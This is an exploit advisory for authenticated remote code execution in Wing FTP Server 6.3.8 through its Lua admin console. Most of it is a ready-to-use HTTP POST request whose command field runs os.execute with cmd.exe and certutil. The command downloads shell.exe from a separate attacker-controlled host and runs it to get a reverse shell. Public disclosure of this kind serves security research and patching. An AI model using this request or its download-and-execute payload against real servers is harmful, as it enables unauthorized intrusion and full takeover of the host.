Wing FTP Server 6.3.8 Remote Code Execution

`# Exploit Title: Wing FTP Server 6.3.8 - Remote Code Execution (Authenticated)  
# Date: 2020-06-26  
# Exploit Author: v1n1v131r4  
# Vendor Homepage: https://www.wftpserver.com/  
# Software Link: https://www.wftpserver.com/download.htm  
# Version: 6.3.8  
# Tested on: Windows 10  
# CVE : --  
  
Wing FTP Server have a web console based on Lua language. For authenticated users, this console can be exploited to obtaining a reverse shell.  
  
1) Generate your payload (e.g. msfvenom)  
2) Send and execute via POST  
  
POST /admin_lua_.html?r=0.3592753444724336 HTTP/1.1  
Host: 192.168.56.105:5466  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.56.105:5466/admin_lua_term.html  
Content-Type: text/plain;charset=UTF-8  
Content-Length: 153  
Connection: close  
Cookie: admin_lang=english; admin_login_name=admin; UIDADMIN=75e5058fb61a81e427ae86f55794f1f5  
  
command=os.execute('cmd.exe%20%2Fc%20certutil.exe%20-urlcache%20-split%20-f%20http%3A%2F%2F192.168.56.103%2Fshell.exe%20c%3A%5Cshell.exe%20%26shell.exe')  
`